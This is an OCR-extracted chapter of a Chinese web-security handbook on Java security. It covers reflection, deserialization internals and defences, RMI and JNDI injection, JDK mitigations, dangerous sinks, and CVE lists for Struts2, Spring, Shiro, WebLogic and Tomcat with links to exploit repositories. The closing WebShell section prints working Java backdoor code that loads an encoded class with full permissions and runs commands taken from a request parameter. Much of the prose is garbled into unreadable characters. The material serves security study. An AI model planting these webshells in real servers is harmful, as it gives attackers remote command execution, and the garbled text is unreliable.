Edition, Java SE). 1t (Enterprise Edition, Java EE) %4,

TEfIPAR, JDK A #ERIB %A, ME7E 2006 4F 11 7 17 H, Sun PA GPL ¥FaHERA T Java B
i, TRZFEHIT OpenIDK.

JMX

JMX(Java Management Extensions, Java P E) £—A N AREFEAGHIEERHESE, 38
AR IRRT . RGNS BOATFIT ] IR 55 (9 I 26 S AR ) TR . IMX ] AC AR BE R G M . P8 T
ARGk, 18 IMX RACE S giiksl JDK BAS I ARA A SUF PRI e, ] g S Buefe A T .

JNI

JNI (Java Native Interface) & Java $EfLHg I HABIE S22 B ) 1,

JNA

JNA (Java Native Access) J&7F JNI FRUHEZE, FTF H3hEH Java 8210 %] native function BYBLES, AR
B9 MRS INT A .

OGNL

OGNL(Object-Graph Navigation Language, X% SfAiiEF) &M KpRSNES, #idfR—3K
R CE, IR TR R AR B . TR s DTSRRI G L SEIE B B AR
EYIRE.

Struts2 T T OGNL, #24LT—4> ValueStack 2%, ValueStack 4)>4 root Fll context FiER4r. root Hii2
WEIH action %42, context H1j2 ActionContext B G 1 NA

10 &%

Java X #RIER G4 RN 10O BUPEST THEAE, TR T AP APL
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BIO

BIO (Blocking 1/0) J2&[FZEPHZE 1/0 X, Bl LS A H 2840 — A RFE N SR H5E

NIO

NIO (New 1/0) Z—FhREIAIEPHZER) /O AL, 7F Java 1.4 H5| A, XM javanio 41, #4LT Channel ,
Selector, Buffer &34 .

AIO

AIO (Asynchronous 1/0) 7 Java 7 H5| A, J& NIO Ry, 25 P 2ERY 10O A, FLFsR i [l i
P2 -

5

&

Java JUFALHE SRS T, XTALR—2E, AR RE X A2 P w5 SRR
G, HRRERS IR M € ML IATRIE s X AR ARIUE R A BB TR A RI7 ¥R 8 20 BEROPR h i = 1) SR AL
il o

HxE
%% R
Class KSR
Field FM B 5 AL
Method ESiUpIR
Constructor | 2 1575
Class g%

« asSubclass(Class<U> clazz)

— JEAL R SRR R AR 2RI R
. Cast

— XGRS R R B RS

« getClassLoader()
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— PAFERIN A
getClasses()

— IR, B TR SR TR A SRR 2RI R
getDeclaredClasses()

— IR[EANEEH, B R SR P R AR LR RS
forName(String className)

— MR R AR5
getName()

— PAGEM BRI T
newInstance()

— QIR LB
getPackage()

- LN
getSimpleName()

- PR AT
getSuperclass()

— RIS HT AR A 44 7
getInterfaces()

— AR R N
getField(String name)

— PAFHEAN DB EEN SR
getFields()

— PSR AW ETER SR
getDeclaredField(String name)

— PIRIEA BT S
getDeclaredFields()

— PG A RN SR
get Annotation(Class<A> annotationClass)

— REZE PG SERBVCI R A ERAT SR

get Annotations()

. Java 173



Web-Sec Documentation, 475 1.0

— BRI I A A AR 5
getDeclared Annotation(Class<A> annotationClass)
— IR 5 SR TR A AR 5
getDeclared Annotations()
— R LA 5
getConstructor(Class...<?> parameterTypes)
— PAFRL T E SRR A S 7%
getConstructors()
— IR A S A ETTIE
getDeclaredConstructor(Class...<?> parameterTypes)
— PRI PSRRI M5
getDeclaredConstructors()
— PAREIETAMIETTIR
getMethod (String name, Class...<?> parameterTypes)
— PIFEIFA DAL
getMethods()
— PAFREIAH DA T
getDeclaredMethod (String name, Class...<?> parameterTypes)
— PAFEISAT L
getDeclaredMethods()
— PAFRRITHTE
isAnnotation()
— QAR R RNR ] true
isAnnotationPresent(Class<? extends Annotation> annotationClass)
— QR PEE R ANR A true
isAnonymousClass()
— IR A MR ] true
isArray()
— AR ZENGR A true

isEnum()

174
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— QR MZELNGRIE true
« isInstance(Object obj)
— AR obj IR EBINIR ] true
o isInterface()
— SRR 2RI [E true
« isLocalClass()
— QR SRR true
o isMemberClass()

— QRS2SR MR A true

Field #83%

« equals(Object obj)

— @t obj AHEEMRE true
« get(Object obj)

— 3R15 obj Hoxt R JE HE(E
. set(Object obj, Object value)

— WH obj X JEME(E

Method #3x

« invoke(Object obj, Object... args)
— f%i% object X5 LS HH HIZN G WY T4

Constructor

o newlnstance(Object... initargs)

— RGBSR R 5

5.3.2 3

4 & A

ARV, Java FEMAMBWW T Mk (Loading) -> [ #4% (Linking) : 3&iE (Verification) -> £
(Perparation) -> fi##t (Resolutin) | -> #J#f4k (Initialization) -> f#Jf] (Using) -> ##k (Unloading) .
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ARy =2
o AR AE A RARIUE SCHRAY — HE 7 I
o FEFAVRLI RIS R AT FE AL R 7 IR K 1 1a 4 7 I R4t
o TEWNTEHA A FEEX KR java. lang. Class W4, 1ER 7 KX A& R ECR 17 A
BUEpr B EZ A TR Class SR T RAT & 4 BB MPLEER, 73 L
HFIWT SRR J2 75 PA OxCAFEBABE J1if, TEURAS 2 A2 B i A
o JUEEEIE
o FAEEIIE

P51 FBIE

5.3.3 B ST S 5EA

o —Xverify:none J¢PHZSINZE B BGIEHE it

5.3.4 }E28
Servlet
b1y

Servlet(Server Applet) & Java Servlet WffiFK, FRA/NMRSETFERS ERES, &M Java 85 1 Ik S48 i
B, EEYREE T B s s, B Ehis Web %5,

e SLHY Serviet J248 Java 15T LA —AME L, ) X Servlet J2ARLATSEEL TiX 4 Servlet # LAY, —
ST, AMT1RF Serviet B MG . Servlet 247 T X HF Java N RS #5H . MJEPE B, Serviet n]
PAMR AT R AL 38K, (B RZEE LT Servlet H AR JRIET HTTP #plF) Web JR55#%.

& RAHA

o B iK% Serviet

T Servlet 2| N1

SEEEIEIE A init() rERIIRIEIZ Serviet
service() (H4EI# 3k 77y R FIVEH doGet () / doPost() / ... / destroy()
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tcdm|

init ()
TE Servlet FAAT, AFAT—IK init() Jik, TEMRISAREA Serviet AT,
service()

service() J7¥ER Servlet %0 B 24— & P R—~ HttpServlet X4, ZMHRH service() Lk
WA, M HAARL XN A" 15K (ServletRequest) T FI—" Wi " (ServlietResponse) X2 AEH
S

Struts 2
&

Struts2 @& —AETF MVC &t Web N HHESL, B EA ST servlet, 7£ MVC it ,
Struts2 fE#E 7 (Controller) e gd v/ AR 5 W0 (4 H5 22 H.

HRREE

o B AIRTERIY tomeat 55 2%

o WOREW RIS IS

o FilterDispatcher #f] ActionMapper 4t E XM 3K 275 2L 18 5 Action

o ActionMppaer Pt E I HA ActionFilterDispatcher 353K 45 ActionProxy

o ActionProxy jfJ Configuration Manager & structs.xml, FRF|XFNV A Action 2
o ActionProxy fl|##— ActionInvocation %%

o ActionInvocation X} [n]if Action [1¥) execute J5i%E

o Action # 7525 )5 , ActionInvocation MR [B] B FAF e , Fe N AH B Y result, i 4 HttpServletResponse
iR [l 25 R 55

#H8x< CVE

« CVE-2016-3081 (S2-032)
« CVE-2016-3687 (S2-033)
« CVE-2016-4438 (S2-037)
« CVE-2017-5638

o CVE-2017-7672
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https://github.com/immunio/apache-struts2-CVE-2017-5638
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« CVE-2017-9787
« CVE-2017-9793
« CVE-2017-9804
o CVE-2017-9805
o CVE-2017-12611
e CVE-2017-15707
« CVE-2018-1327
« CVE-2018-11776

Spring

&

Spring —fF51 2 Spring Framework, — Mg Java AR AFHMESL, $2O4E TR MIF LT

Spring MVC

Spring MVC 4 Spring BBk TTH) MVC #ELE, FEHATIF K Web N, fafbIF k.

Spring Boot

Spring FEffEH 2 W17 BN B, HILHE LT Spring Boot {24 HELECE TR, MR H 15— AR E .

HKRiRE

AR SR 4G I 55 4%

AR 45#suscEs=K, i H DispatchServlet 4b#

Dispatch fifi fl HandleMapping ## url &7 %W ) Controller, HIRA, AT
42 Controller SR [ FAFE, ViewResolver 5437 H3 S5 U B UL IR 52

« DispatchServlet FFOLEIXF G %, ik 23 ik o5 4%

155 g R A s 25

CVE %

« CVE-2018-1270
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https://github.com/mazen160/struts-pwn_CVE-2017-9805
https://github.com/brianwrf/S2-053-CVE-2017-12611
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— Spring Websocket LA AL TN
— Spring Framework 5.0 - 5.0.5
— Spring Framework 4.3 - 4.3.15

« CVE-2018-1273

Spring Data LA TR

— Spring Data Commons 1.13 - 1.13.10

— Spring Data Commons 2.0 - 2.0.5

— Spring Data REST 2.6 - 2.6.10

— Spring Data REST 3.0 - 3.0.5
« CVE-2017-8046

— Spring Data REST mtAg Qg4 Tiu{H
e CVE-2017-4971

— Spring Web Flow e A AT

Shiro
&

Apache Shiro 2—PIIEEM A By TN Java ZAMELE, IIREAAE S HIIE, AL, MEMSIEE .

CVE

« CVE-2020-13933
— Apache Shiro < 1.6.0
— St sed I

« CVE-2020-11989
— SHIRO-782
— Apache Shiro < 1.5.3
— SRk Sed i

« CVE-2020-1957
— SHIRO-682
— Apache Shiro < 1.5.2
— S EiEsEd I
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e CVE-2019-12422

— SHIRO-721

— Apache Shiro < 1.4.2

— Padding Oracle Attack JCRECHSFAT IR
« CVE-2016-4437

— SHIRO-550

— Apache Shiro <= 1.24

— SIS A T R R
« CVE-2014-0074

— SHIRO-460

— Apache Shiro < 1.2.3

— S RUESEd ik

CVE-2020-13933

Apache Shiro 1.6.0 Z HIJA, 1T Shiro $##F 5 requestURI FIUCECHAE S Web HEZL 428025 I VT
WA 2R, BGEEWRE—NMFIRT http 55K, WTRAZER Shiro IIAIE, RIZH; FHURELAE .

CVE-2020-11989
Apache Shiro 1.5.3 ZHIMMA, HT Shiro £2##8 5 requestURI [HILHLTARE S Web HEZL G AER AT ITHL

MR 225, Boli B — MR http 355K, ATPASEE Shivo BIALE, REALDT FIBURERAS . HRRAAE
PR 75

CVE-2020-1957

Apache Shiro 1.5.2 Z R4, i Shiro ##ids5 requestURL FYPLRCHIAR S Web HEZE 4 A45 f) PLE
TR 225, Bah MR http 3K, WTPASERS Shiro FIAIE, RERUT MR

CVE-2019-12422
Apache Shiro 1.4.2 2 HiHJ A BRIAfE JT] AES/CBC/PKCS5Padding A %%, J /& RememberMe I HEf] Shiro

AP VPR B A e S, i Padding Oracle Attack JEATRERE, BIBEAERRGIR M AAET
AT ATE H AR 55 4% EPITHE R i

180 Chapter 5. EE 5%



Web-Sec Documentation, &%5 1.0

CVE-2016-4437

Apache Shiro 1.2.5 Z HIHJRALE org.apache.shiro.mgt.AbstractRememberMeManager FR7E{E AES BRiA
Fi4)] kPH+bIxkbD2deZilxcaaah== , JJ& RememberMe JfERY Shiro 4I{F1f FLVFRLRELLE 2 13 3 41 AL KL
i, FEERIRSG 25 EHUTERE S

5.3.5 B

WILAY Java IR #34 Tomcat. Weblogic, JBoss. GlassFish, Jetty. Resin, IBM Websphere &, X BL%}
P HE A — ] B AR T o

Tomcat
Tomcat j&— AR RS, FET/NERGEMIERVIH AP RREZNHE TSR g, AL
R ISP A7
FECEN SR G, Tomcat [ALFRRARLNF :
o B Web 4588, &%k HTTP #3K
Web g5 25 E K5, 1515845 Serviet 2545
Servlet ZEgRiN#k Servlet, =4 Serviet SEHIJT, 1) Hofs s 2RI KA LY A5
Servlet S I SRATLAFEN % PR A5 8., ARG BEA TR i AL 2
Servlet SE{IFFAL HHEE SR A S G AR I Py, AR ST DRI R TE AR [ EpREE ] 2
Web JIg 55 %

Tomeat JiL%5 F2 11— 5T EAALFFHIAY ., Fof B LALIFR Catalina Serviet 5285, BRI
Tomcat 2RI THZE 2 4

#H3x< CVE

e CVE-2020-1938

— https://www.freebuf.com/vuls/228108.html
« CVE-2019-0232

— AR AT

— https://github.com/pyn3rd/CVE-2019-0232/
« CVE-2017-12615

- EEXMHA

— https://mp.weixin.qq.com/s?__ biz=MzIINDgdMTIxMw==&mid=2247483659&idx=1&
sn=c23b3a3b3b43d70999bdbe644e79f7eb
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CVE-2013-2067
CVE-2012-4534
CVE-2012-4431
CVE-2012-3546
CVE-2012-3544
CVE-2012-2733
CVE-2011-3375
CVE-2011-3190

CVE-2008-2938

Weblogic

&

WebLogic s22[E Oracle /A& H i fli—> Application Server, 2—/NET Java EE Z2#) 1 Hh[aj{4:, WebLogic
TR ER. PEAEH KRB AN Web I PR AR 1225 1) Java B AR 954 . HoRF
Java WA Java Enterprise FRUERYZEATET | A KBNS HITF 4 L. FREMERLZ .

WebLogic Xl 42 bRt 4 1H sCfe, 4% EJB. JSP, Servlet, JMS, JDBC %,

#H3x CVE

CVE-2019-2725

— wis-wsat SUFFEFEAIS AT

CVE-2019-2658
CVE-2019-2650
CVE-2019-2649
CVE-2019-2648
CVE-2019-2647
CVE-2019-2646

CVE-2019-2645

CVE-2019-2618

— https://github.com/jas502n/cve-2019-2618/

CVE-2019-2615
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o CVE-2019-2568
o CVE-2018-3252
o CVE-2018-3248
o CVE-2018-3245
« CVE-2018-3201
» CVE-2018-3197
« CVE-2018-3191
— https://github.com/voidfyoo/CVE-2018-3191
— https://github.com/Libraggbond /CVE-2018-3191
« CVE-2018-2894
— AR AR
— https://xz.aliyun.com/t/2458
« CVE-2018-2893
- 7
— https://www.freebuf.com/vuls/178105.html
« CVE-2018-2628
— https://mp.weixin.qq.com/s/nYY4zg2m2xsqTOGXa9pMGA
o CVE-2018-1258
« CVE-2017-10271
— XMLDecoder JZJ¥ 4]

— http://webcache.googleusercontent.com/search?q=cache%3AsH7j8 TF8uOIJ %3 Awww.
freebuf.com%2Fvuls%2F160367.html

o CVE-2017-3248
« CVE-2016-3510
« CVE-2015-4852

— https://github.com/roo7break/serialator

JBoss
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Web-Sec Documentation, 475 1.0

[CF1

JBoss j2—/N T J2EE (W EJB H4ER RSS2, (H JBoss #%0R55 AN EHESCHE servlet/JSP (1) WEB
Ze%, —M5 Tomcat = Jetty 452 H

3% CVE

« CVE-2017-12149
— SFH AL
— Vil /invoker/readonly , BUHIfFAERIA 75 ki

Jetty

[F]y

Jetty 2—MITIREH servliet 4.

5.3.6 %8
[CF1

Java ST — VPRI, AR RO AR AT U R RELE 2 FRAGERSE 047

#H3% CVE

o CVE-2012-0507
o CVE-2012-4681
o CVE-2017-3272

o CVE-2017-3289

5.3.7 RSt
e

JFIMCEL IR R IAR T, T RAAENAE. S BdlREd s RITFIMERIERE, B imid )5
PG — MO TR A R X A i R AR S A . AR G B AN M S R AR s
Java H1AYJ ObjectOutputStream 25 writeObject ) YL DASEINFESML, 25 ObjectInputStream 2]
readObject O HIEMTRUFIIML. WRZSLHERSPIIL, WA HLH] Serializable 1.

UL REAR 5 e A AR IR E AT SOF SR HL 2 BERSE A7 AE nT A R 28I, A A SO 51 A -
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FFolSiEE

o Oxaced EARL / STREAM_MAGIC

e 0x0005 fiA5 / STREAM VERSION / &% java.io.ObjectStreamConstants

FrIl{tiRTR

o ObjectOutputStream SEFIHIIRILIN, RHEARLFIRAEE A bout (BlockDataOutputStream 257)
o 41 ObjectOutputStream.writeObject() FFUGE %t 5 L

— ObjectStreamClass.lookup() F2E £ FFALIZEAEAR (18]8] ObjectStreamClass %) | FREL
WY . HEX serialVersionUID, 1] J74{LFE: (12[8] ObjectStreamField 287 Fifh 1
FE, PAM writeObject, readObject J5¥E%E

— writeOrdinaryObject() 5 A% %5

* B AR LRI

* writeClassDesc() #A%r% writeNonProxyDesc() ‘5 ARk B
- BRI AR
- BAES
- A SUID (24 SUID A%, xibfrit B mi)
- HRH B AP R AR AL
- BATFBSE R
- 5 A Block Data Z5RiH
B AR SRR

* writeSerialData() 5 AXFRFHLE N

- HREET writeObject(), WA ZIT LGRS, T defaultWriteFields()
BAMZI T B (B2 AR AR, EBIAAL 7R 4)

RSt RE

« ObjectInputStream SCHIFIUAIKIT, SLBUSEASLAIRAS AT
+ i)l ObjectInputStream.readObject() JFU&Gi%nt G5
— PO R A RRIN
— readOrdinaryObject() BB %
* readClassDesc() BB E
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- BEHCRIIATFRR N, #EA 53 readNonProxyDesc()
- BEEL SUID

© BRBOR RO R bR G AL
BRI B B A

—

- resolveClass() MR RIESUTFIMLIIZER Class XF5:, QIAARERAR M, W

i ClassNotFoundException
- skipCustomData() fEFR T4 H 5| Block Data 55 ARE A 11

B RIA A

- initNonProxy() * K G 5AMR G SUID 124, (A& w4) e ml,

FRTE, N H InvalidClassException

* ObjectStreamClass.newlInstance() FEHE B X R I IE Serializable 52

M TS (B AR, USRI mull) GRS 0)
* readSerialData() BB IEH AL B e

- HEHEEXT readObject(), MIVH M ZyEENM %R, HWIHH defaultRead-

Fields() SHOHEFEN R 7 B

iR F A

FHERRREE

com.mchange:c3p0 0.9.5.2
com.mchange:mchange-commons-java 0.2.11
commons-beanutils 1.9.2
commons—-collections 3.1
commons-fileupload 1.3.1

commons-io 2.4

commons—-logging 1.2

org.apache.commons: commons—-collections 4.0
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.slf4j:slf4dj-api 1.7.21

org.springframework:spring-aop 4.1.4.RELEASE
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RS Fp5

Hook resolveClass

FEfi ] readObject O SFHLIN &M resolveClass Tk URFAILIZE4 , Al hook #%TJ5TA
KA SFHIEHI S, —A> Demo #II'F

@0verride
protected Class<7> resolveClass(ObjectStreamClass desc) throws IOException,,
—ClassNotFoundException {
if (!desc.getName() .equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName()) ;
}

return super.resolveClass(desc);

PA_EH) Demo g X fei/F/F4IML SerialObject , jlidixX iy, hnl AR E VR FSIMLI) 24 5L, B 1k
ARG R . SerialKiller /Jackson/Weblogic 5B FH 13X Ry 2 A B4 .

ValidatingObjectInputStream

Apache Commons IO Serialization {4 [} ValidatingObjectInputStream ZE#{IL T accept VL, RIPAME
I EREIT I/ 4 ], —4 demo MR

private static Object deserialize(byte[] buffer) throws IOException,
—ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
ois.accept(SerialObject.class);
obj = ois.readObject();

return obj;

ObjectInputFilter(JEP290)

Java 9 $4L T ZF ML B T IERERE, WTPA4EK java.io.ObjectInputFilter 28 E checkInput
DIERSEHL A E XYL i, JFEH ObjectInputStream XIRHY setObjectInputFilter U EIJEAR KL
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BUSFSME S /B4 sl S AHLHIAS B 24X Java 9 B)— N3k, (ERREE T 98 R o F g ok
ZISEALE], IS JDK 6,7,8 BEAT TSR X AL B AR AR AL

o feft—AREISPIILERIBLE], 4% e R B

o PRI SR I B TR RIS A

o O RMI Al I g fit 7 — ik 2L

o GEM—AATECEAIEVLE], HATRT DA E properties SCPFRYIE AR E SO IR

5.3.8 RMI

[Ch1

RMI(Remote Method Invocation, WeFEiEIHA) BB LLAER P um Java BERIAL_F AR5 08 AR X 42—
FER AR S5 i Java UM IXTR B Y. Hod RMI ARiESEPE Java RMI, Z4MfAH Weblogic RMI,
Spring RMI 28R [w] iy 52 8H

RMI 1 [y 8 B M 42 Stub 1 Skeleton, Stub il Skeleton Xif[a]—2&#: N34T, i Stub i
Client ¥, HAIHITEIEASLI, M2 Server iiH{g. Skeleton 42 Server ¥, WU H Stub fy%E
B, MRAE Stub Kk BRI T B IE A HERAE

HRSR

o FHPRMNE RIS Stub _ERYITIA
o BB Stub ITREMGE (2h, Jik4), W M4 KRS IR i BN 4 Skeleton

o M5 BhR 4 Skeleton 54 i BN R A R BE BAREL, Hi BEIEBOR MY 735 LA SO 5 YR B
TEXS

o JAMEIEMRS X G EREIETER, HRPER R 0 45 i) 55 il B X 58 Skeleton
o MRS5S RAFEIRAT 6L, KIS E P i A4 Stub

o BB RAF IR A AR, R Il S

o B)PAFREIE

B

— IS EEFI I (CRE (Enterprise JavaBeans) ):
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Person #O5F X

public interface Person {
public int getAge() throws Throwable;
public String getName() throws Throwable;

{&F PersonServer SEI] Person

public class PersonServer implements Person {

private int age;

private String name;

public PersonServer(String name, int age) {
this.age = age;
this.name = name;

by

public int getAge() {
return age;

¥

public String getName() {

return name;

{8 Person_Stub 3C¥] Person

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {
// connect to skeleton
socket = new Socket("computer_name", 9000);
}
public int getAge() throws Throwable {
// pass method name to skeleton

ObjectOutputStream outStream =

—~

)
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new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return inStream.readInt();
}
public String getName() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());

return (String)inStream.readObject();

Skeleton BYSEIQ

import java.io.ObjectOutputStream;

import java.io.ObjectInputStream;

import java.net.Socket;

import java.net.ServerSocket;

public class Person_Skeleton extends Thread {

private PersonServer myServer;
public Person_Skeleton(PersonServer server) {
// get reference of object server
this.myServer = server;
3
public void run() {
try {
// new socket at port 9000
ServerSocket serverSocket = new ServerSocket(9000);
// accept stub's request
Socket socket = serverSocket.accept();
while (socket != null) {
// get stub's request

(T gk%E)
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ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
// check method name
if (method.equals("age")) {
// execute object server's business method
int age = myServer.getAge();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeInt(age);
outStream.flush();
}
if (method.equals("name")) {
// execute object server's business method
String name = myServer.getName();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream()) ;
// return result to stub
outStream.writeObject (name) ;

outStream.flush();

}

} catch(Throwable t) {
t.printStackTrace();
System.exit(0);

}

public static void main(String args []1) {
// new object server
PersonServer person = new PersonServer("Richard", 34);
Person_Skeleton skel = new Person_Skeleton(person);

skel.start();
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Client 3£

public class PersonClient {
public static void main(String [] args) {

try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName() ;
System.out.println(name + " is " + age + " years old");

} catch(Throwable t) {
t.printStackTrace();

T3 ik

T3 i i T1E WebLogic iz 55 s MIHAMAEAAY Java RE/7 2 [0 G4 {5 BRI, /2 Weblogic X} RMI i
JERYSEIL. fa Bkl , RTDAE T3 $h#Gs JDNI 25 J il A4 1 .

JRMP
Java A2 VML (Java Remote Method Protocol, JRMP) 24:ET Java FARK . HTEHLANG| H iz
MR X ZIBATAE Java AEITVAT AT (RMI) Z 8. TCP/IP Z ER&RE)Z L.

JRMP jg—A~ Java $5A R T Java Z [RLEAETA BT RAY P, SORE il ss & EAER] Java
S

5.3.9 JNDI

[h1

JNDI(Java Naming and Directory Interface, Java fiyZ A1 HZEE L) B0 Java W AL A H R34
PS5 APL, sevF% ) immd o 44 PR A A A e Bt . W5, TR BLEET I E A SIS . X LExt Rl pA
FEEAR A a2 BH sk 5, B4 RMI, CORBA. LDAP, DNS 4,

Hrp Naming Service U TIGARM K/V X, #l i 4 FREIRPOT PR S5 . Directory Service s&—Fsk
) Naming Service, AL H s 2RAFHURSS -
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( i )

DR
EEXEE:

JNDI JEAN

JNDI #: A2 2016 4 pentester ¥£ BlackHat USA |fJ A Journey From JNDI LDAP Manipulation To
RCE WU 1Y

HYGhd Ry

. Wi Payload 455 B Wil a4 / H R 55
Wt BRF4axt URL ¥ A5y 52 Bty INDT Z 4k 7ik

- YRR AT A R

- YRR R B B B9 INDI iz 55 & 5] Payload
V. PRIy AR e i - fl A 88 £ 28

—

N

w

~

o

b g = A

JDNI = 247 JURh Bt 38
« CORBA
« IOR
o JNDI Reference
o JNDI Reference
« LDAP
e Remote Location
e Remote Object
« RMI

e Serialized Object

5.3. Java 193



Web-Sec Documentation, 475 1.0

RMI Remote Object

Wi #F LB — RMI EREBENZH 255 RMI Registry b, RFgaif/an9 RMI mfexf 5 2
HTTP/FTP/SMB R % #% . H Codebase Hutik iR 45 #510) java.rmi.server.codebase J&
W, 2 EH R RMI & e Rk .

AT :
o RMI % i) bR SCRE R AR Codebase.
o J&M: java.rmi.server.useCodebaseOnly HJ{H N false.,

Horp JDK 6u45. 7u2l J5, java.rmi.server.useCodebaseOnly [{HERIAN true.

RMI 4 JNDI Reference

Wi Fmd RMI k4532 Bl—4 JNDI Naming Reference, %% # i Reference B4 A UEFEIGEM
AR R L N Factory 28, X Fh X B FIftdEfifH RMI Class Loading AL, HItA% java.rmi.
server.useCodebaseOnly Z4EMHAIIRH. {H27F JDK 6ul32, JDK 7ul22, JDK 8ull3 j5BR#| T Nam-

ing/Directory 45+ JNDI Reference TiFfilZk Object Factory 2. £4/EME com.sun. jndi.rmi.
object.trustURLCodebase . com.sun.jndi.cosnaming.object.trustURLCodebase HJERIAEHZAL N false,

BPERA i MR Codebase 7 Reference T.J 2%,
LDAP + JNDI Reference
Java ) LDAP 0] DAYEJ@PEME - 2 1Y Java X4, H LDAP HR5519 Reference iRENNZL Factory A3

com.sun. jndi.rmi.object.trustURLCodebase ., com.sun.jndi.cosnaming.object.trustURLCodebase

SFIRTERIBRE , VSR

5.3.10 JDK
JDK 6

6u45

« java.rmi.server.useCodebaseOnly BRI\ K true, 25 [ Zhhnakmfes it

6ulsdl

e com.sun.jndi.rmi.object.trustURLCodebase ZRi\} false

e com.sun.jndi.cosnaming.object.trustURLCodebase ZRi\ K false
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6u211

o LDAP jif# Reference fRASERIAAEIE, 01 LDAP iife Reference I 75K

JDK 7

7ud0

+ java.io.File EHRANT isInvalid ik, Rl Cf4 @B E =51y

Tul22

e com.sun.jndi.rmi.object.trustURLCodebase ZKiA N false

e com.sun.jndi.cosnaming.object.trustURLCodebase ZRi\ K false

7u201

o LDAP jf# Reference fRASERIAAEIE, 50 LDAP iifE Reference AT 7K

JDK 8

e sun.net.www.protocol AF-XFF gopher Pl

8ull3

e com.sun.jndi.rmi.object.trustURLCodebase ZKiA N false

e com.sun.jndi.cosnaming.object.trustURLCodebase ZRki\ K false

8ul2l

o RMI AT 7514k 45 Sl
o RMI j£#% Reference fUIBERIAMNIEATL, ¥ RMI 72 Reference I 2

8ulo9l

o LDAP jif# Reference fRISERIAANE(E, 0 LDAP iifE Reference X 7K
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8u251

com.sun.org.apache.bcel.internal.util. ClassLoader 25/ [

5.3.11 EDL Sink

HIHIT/EN

XXE

java.lang. Runtime.getRuntime().exec()

java.lang.ProcessBuilder

java.net.bull.javamelody.PayloadNameRequest Wrapper
javax.xml.bind.Unmarshaller
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.stream.XMLStreamReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.TransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator

javax.xml.xpath. XpathExpression
org.apache.commons.digester3.Digester
org.apache.ofbiz.base.util. UtilXml
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder

org.xml.sax.helpers. XMLReaderFactory

org.xml.sax.XMLReader
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SSRF

HttpClient.execute
HttpClients.execute
HttpURLConnection.getInputStream
ImagelO.read
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream

URLConnection.getInputStream

Rt

=R Sink E$

JSON.parseObject
ObjectInputStream.readObject
ObjectInputStream.readUnshared
ObjectMapper.readValue
XMLDecoder .readObject
XStream.fromXML

Yaml.load

Magic Call

PATT B BEARTT iR A SF 5 R i B ShAg i -

readObject
readExternal
readResolve
readObjectNoData
validateObject

finalize
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% JSON

LR JSON A Gson. Jackson. Fastjson 2%, [Nk JSON FAESUFAIM A, Fr AR R A BRI

.
oot Gon BRIA R BB FFMERASI, SRR A, ORI ROIURUTAULHLR, HIXT HR 224

Jackson [£dEFEHH @jsonAutoDetect, Jackson A< 744k AE public @ . ZEBF I, B DA enableDe-
fault Typing . i3 CVE 4 CVE-2017-7525, CVE-2017-15095.

FastJson /2 fi B (5 L FFIE JSON BT, SZHpKF Java Bean J¥414kk JSON F24FH , tH3EFF M JSON &
FE R FEA4EE] Java Bean, 1% CVE 45 CVE-2017-18349 2,

FastJson # LAY Sink fif:
¢ JSON.toJSONString
e JSON.parseObject

e JSON.parse

5.3.12 WebShell

BCEL 5%

String bcelCode = "...";
response.getOutputStream() .write(String.valueOf (new ClassLoader().loadClass(bcelCode) .
—getConstructor (String.class) .newInstance(request.getParameter("cmd")) .toString()) .

—getBytes());

B LM

response.getOutputStream() .write(new ClassLoader() {
@0verride
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("shell")) {

return findClass(name);

X

return super.loadClass(name);
b
@0verride

protected Class<?> findClass(String name) throws ClassNotFoundException {
try {

(@E23)
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byte[] bytes = Base64.getDecoder().decode("...");

PermissionCollection pc = new Permissions();

pc.add(new AllPermission());

ProtectionDomain protectionDomain
— (Certificate[]) null), pc, this, null);

return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);

} catch (Exception e) {
e.printStackTrace();

3

return super.findClass(name);

}

new ProtectionDomain(new CodeSource(null,

}.loadClass("shell") .getConstructor(String.class) .newInstance(request.getParameter ("cmd

")) .toString() .getBytes());

e java.lang.ProcessBuilder#start
o java.lang.Runtime#exec

e TemplatesImpl

BT R5t

¢ class.forName
e MethodAccessor.invoke

e Method.invoke

H{th Shell TR

 java.beans.Expression
 java.lang.ClassLoader

« java.net.URLClassLoader

o jdk.nashorn.internal.runtime.ScriptLoader
e ObjectInputStream.resolveClass

e ScriptEngine.eval

e ScriptEngineManager
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199




Web-Sec Documentation, 475 1.0

e ToolProvider.getSystemJavaCompiler

Tomcat 322

e Servlet
o Filter

o Listener

5.3.13 B

BAXH

e ognl
e Java SE Security Guide
o Java RMI Release Notes for JDK 6

¢ Java Release Notes for JDK 7

Pl

o VRAFR Java Zhnzk

R
A

o Java JFHfL [HZE—]

e Java 14 Object Serialization Specification

FRSED

e Marshalling Pickles how deserializing objects can ruin your day
e AppSecCali 2015: Marshalling Pickles

e More serialization hacks with AnnotationInvocationHandler

e Pure JRE 8 RCE Deserialization gadget

o Breaking Defensive Serialization

o Java SUFFETRTRMATTEIRA
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https://frohoff.github.io/appseccali-marshalling-pickles/
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Jawa [ S0 T R 497

JRESu20 [ 51 i 547

b Java JE9 LA 4L

